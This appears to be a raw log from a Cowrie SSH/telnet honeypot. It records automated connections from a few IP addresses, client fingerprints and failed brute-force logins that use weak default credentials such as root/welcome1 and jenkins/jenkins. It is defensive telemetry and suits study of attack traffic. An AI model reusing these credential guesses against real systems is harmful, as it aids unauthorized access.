{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:26.963341Z","src_ip":"91.92.40.153","session":"4ed6648c2aa0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome1","message":"login attempt [root/welcome1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:28.026470Z","src_ip":"91.92.40.153","session":"4ed6648c2aa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:29.383254Z","src_ip":"91.92.40.153","session":"4ed6648c2aa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":41702,"dst_ip":"10.17.0.5","dst_port":22,"session":"3357b2eef840","protocol":"ssh","message":"New connection: 91.92.40.153:41702 (10.17.0.5:22) [session: 3357b2eef840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:32.065994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:32.407072Z","src_ip":"91.92.40.153","session":"3357b2eef840","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:32.410112Z","src_ip":"91.92.40.153","session":"3357b2eef840","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":70.27355480194092,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:32.611110Z","src_ip":"170.64.224.25","session":"cc08862909d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"37.2","message":"Connection lost after 37.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:33.702236Z","src_ip":"139.99.74.35","session":"6fd85e1d8736","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":37370,"dst_ip":"159.203.135.109","dst_port":22,"session":"73a506cc8502","protocol":"ssh","message":"New connection: 139.99.74.35:37370 (159.203.135.109:22) [session: 73a506cc8502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:33.979404Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t6y","message":"login attempt [root/1q2w3e4r5t6y] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:34.701582Z","src_ip":"91.92.40.153","session":"3357b2eef840","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:36.278553Z","src_ip":"91.92.40.153","session":"3357b2eef840","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":37072,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcceca8d300f","protocol":"ssh","message":"New connection: 91.92.40.153:37072 (10.17.0.5:22) [session: dcceca8d300f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:37.745234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:38.210066Z","src_ip":"91.92.40.153","session":"dcceca8d300f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:38.214743Z","src_ip":"91.92.40.153","session":"dcceca8d300f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:39.461714Z","src_ip":"139.99.74.35","session":"73a506cc8502","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":33274,"dst_ip":"159.203.135.109","dst_port":22,"session":"46f89609c166","protocol":"ssh","message":"New connection: 139.99.74.35:33274 (159.203.135.109:22) [session: 46f89609c166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:39.695926Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:41.012140Z","src_ip":"91.92.40.153","session":"dcceca8d300f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.56183171272278,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:41.099725Z","src_ip":"170.64.224.25","session":"f9710a645442","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:42.637928Z","src_ip":"91.92.40.153","session":"dcceca8d300f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":52042,"dst_ip":"10.17.0.5","dst_port":22,"session":"80018183660e","protocol":"ssh","message":"New connection: 91.92.40.153:52042 (10.17.0.5:22) [session: 80018183660e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:43.752443Z"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:44.465710Z","src_ip":"139.99.74.35","session":"46f89609c166","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:44.529415Z","src_ip":"91.92.40.153","session":"80018183660e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:44.532723Z","src_ip":"91.92.40.153","session":"80018183660e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":48460,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e87b66fec08","protocol":"ssh","message":"New connection: 139.99.74.35:48460 (159.203.135.109:22) [session: 3e87b66fec08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:44.702919Z"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"1q2w3e4r","message":"login attempt [systemd/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:46.721224Z","src_ip":"91.92.40.153","session":"80018183660e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:48.052588Z","src_ip":"91.92.40.153","session":"80018183660e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:49.488261Z","src_ip":"139.99.74.35","session":"3e87b66fec08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":48480,"dst_ip":"159.203.135.109","dst_port":22,"session":"43b361c6e677","protocol":"ssh","message":"New connection: 139.99.74.35:48480 (159.203.135.109:22) [session: 43b361c6e677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:49.728764Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":49320,"dst_ip":"159.203.135.109","dst_port":22,"session":"14b53a344882","protocol":"ssh","message":"New connection: 160.187.174.22:49320 (159.203.135.109:22) [session: 14b53a344882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:50.457610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:50.462319Z","src_ip":"160.187.174.22","session":"14b53a344882","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":52118,"dst_ip":"10.17.0.5","dst_port":22,"session":"dddecac55de5","protocol":"ssh","message":"New connection: 91.92.40.153:52118 (10.17.0.5:22) [session: dddecac55de5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:50.542455Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:50.702075Z","src_ip":"160.187.174.22","session":"14b53a344882","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:50.722149Z","src_ip":"91.92.40.153","session":"dddecac55de5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:50.725741Z","src_ip":"91.92.40.153","session":"dddecac55de5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:51.432992Z","src_ip":"160.187.174.22","session":"14b53a344882","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"user","message":"login attempt [deploy/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:51.976600Z","src_ip":"91.92.40.153","session":"dddecac55de5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:52.671952Z","src_ip":"160.187.174.22","session":"14b53a344882","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:53.345096Z","src_ip":"91.92.40.153","session":"dddecac55de5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:54.508610Z","src_ip":"139.99.74.35","session":"43b361c6e677","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":36194,"dst_ip":"159.203.135.109","dst_port":22,"session":"b75f4984abb5","protocol":"ssh","message":"New connection: 139.99.74.35:36194 (159.203.135.109:22) [session: b75f4984abb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:54.733200Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":35796,"dst_ip":"10.17.0.5","dst_port":22,"session":"d83bfec9dc6a","protocol":"ssh","message":"New connection: 91.92.40.153:35796 (10.17.0.5:22) [session: d83bfec9dc6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:56.112997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:56.369936Z","src_ip":"91.92.40.153","session":"d83bfec9dc6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:56.373097Z","src_ip":"91.92.40.153","session":"d83bfec9dc6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:57.992042Z","src_ip":"91.92.40.153","session":"d83bfec9dc6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:59.437082Z","src_ip":"91.92.40.153","session":"d83bfec9dc6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:59.901585Z","src_ip":"139.99.74.35","session":"b75f4984abb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":36212,"dst_ip":"159.203.135.109","dst_port":22,"session":"7685cd93cdf3","protocol":"ssh","message":"New connection: 139.99.74.35:36212 (159.203.135.109:22) [session: 7685cd93cdf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:00.131950Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":54816,"dst_ip":"10.17.0.5","dst_port":22,"session":"d79ad9f58c53","protocol":"ssh","message":"New connection: 91.92.40.153:54816 (10.17.0.5:22) [session: d79ad9f58c53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:02.657208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:02.747613Z","src_ip":"91.92.40.153","session":"d79ad9f58c53","protocol":"ssh"}
